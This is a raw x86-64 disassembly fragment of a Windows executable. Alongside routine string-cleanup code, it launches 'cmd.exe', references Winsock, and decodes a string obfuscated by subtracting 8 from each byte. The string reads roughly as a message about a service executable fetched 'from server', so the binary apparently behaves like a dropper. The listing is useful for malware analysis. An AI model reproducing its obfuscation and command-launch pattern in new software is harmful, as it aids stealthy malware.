mov rax, qword [rax]
mov rcx, rax
call fcn.1400062b0
movzx edi, al
mov rdx, qword [rbp + 0x270]
cmp rdx, 7
jbe 0x1400093f6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400093f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400093f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012038
movdqa xmm0, xmmword [0x140018fa0]
movdqu xmmword [rbp + 0x268], xmm0
mov word [rbp + 0x258], bx
mov rdx, qword [rbp + 0x290]
cmp rdx, 0xf
jbe 0x140009451
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000944c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000944c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012038
movdqa xmm0, xmmword [0x140018fb0]
movdqu xmmword [rbp + 0x288], xmm0
mov byte [rbp + 0x278], 0
mov rdx, qword [rbp + 0xf0]
cmp rdx, 7
jbe 0x1400094b1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400094ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400094ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012038
movdqa xmm0, xmmword [0x140018fa0]
movdqu xmmword [rbp + 0xe8], xmm0
mov word [rbp + 0xd8], bx
test dil, dil
je 0x14000960e
lea r9, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 0xf
cmova r9, qword [rbp + 0xb8]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r8, str.cmd.exe
lea rdx, [0x140017d50]
xor ecx, ecx
call qword [0x14001eea0]
mov byte [rsp + 0x5b], 0x63
mov byte [rsp + 0x5c], 0x33
mov byte [rsp + 0x5d], 0x65
mov byte [rsp + 0x5e], 0x28
mov byte [rsp + 0x5f], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x60], 0x77
mov byte [rsp + 0x61], 0x69
mov byte [rsp + 0x62], 0x6c
mov byte [rsp + 0x63], 0x6d
mov byte [rsp + 0x64], 0x6c
mov byte [rsp + 0x65], 0x28
mov byte [rsp + 0x66], 0x7f
mov byte [rsp + 0x67], 0x6d
mov byte [rsp + 0x68], WSAStartup
mov byte [rsp + 0x69], 0x69
mov byte [rsp + 0x6a], 0x75
mov byte [rsp + 0x6b], 0x6d
mov byte [rsp + 0x6c], 0x67
mov byte [rsp + 0x6d], 0x7b
mov byte [rsp + 0x6e], 0x6d
mov byte [rsp + 0x6f], 0x7a
mov byte [rsp + 0x70], 0x7e
mov byte [rsp + WSAStartup], 0x71
mov byte [rsp + 0x72], 0x6b
mov byte [rsp + 0x73], 0x6d
mov byte [rsp + 0x74], 0x36
mov byte [rsp + 0x75], 0x6d
mov byte [rsp + 0x76], 0x80
mov byte [rsp + 0x77], 0x6d
mov byte [rsp + 0x78], 0x28
mov byte [rsp + 0x79], 0x6e
mov byte [rsp + 0x7a], 0x7a
mov byte [rsp + 0x7b], 0x77
mov byte [rsp + 0x7c], 0x75
mov byte [rsp + 0x7d], 0x28
mov byte [rsp + 0x7e], 0x7b
mov byte [rsp + 0x7f], 0x6d
mov byte [rbp - 0x80], 0x7a
mov byte [rbp - 0x7f], 0x7e
mov byte [rbp - 0x7e], 0x6d
mov byte [rbp - 0x7d], 0x7a
mov byte [rbp - 0x7c], 0
movzx eax, byte [rsp + 0x5b]
nop dword [rax]
movzx eax, byte [rsp + rbx + 0x5b]
sub al, 8
mov byte [rsp + rbx + 0x5b], al
inc rbx
cmp rbx, 0x29
jb 0x1400095e0
lea rdx, [rsp + 0x5b]
lea rcx, [rbp + 0x338]
call fcn.1400036c0
mov rcx, rax
call fcn.14000ccc0
nop
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0xf
jbe 0x140009652
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000964d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000964d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012038
movdqa xmm0, xmmword [0x140018fb0]
movdqu xmmword [rbp + 0xc8], xmm0
mov byte [rbp + 0xb8], 0
mov rdx, qword [rbp + 0x2b0]
cmp rdx, 0xf
jbe 0x1400096ae
inc rdx
mov rcx, qword [rbp + 0x298]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400096a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400096a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012038
nop
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0xf
jbe 0x1400096fe
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400096ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400096ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012038
jmp 0x1400096fe
mov dword [0x14001eaf8], 1
add rsp, 0x6b0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1400030e0
nop
call fcn.140003040
int3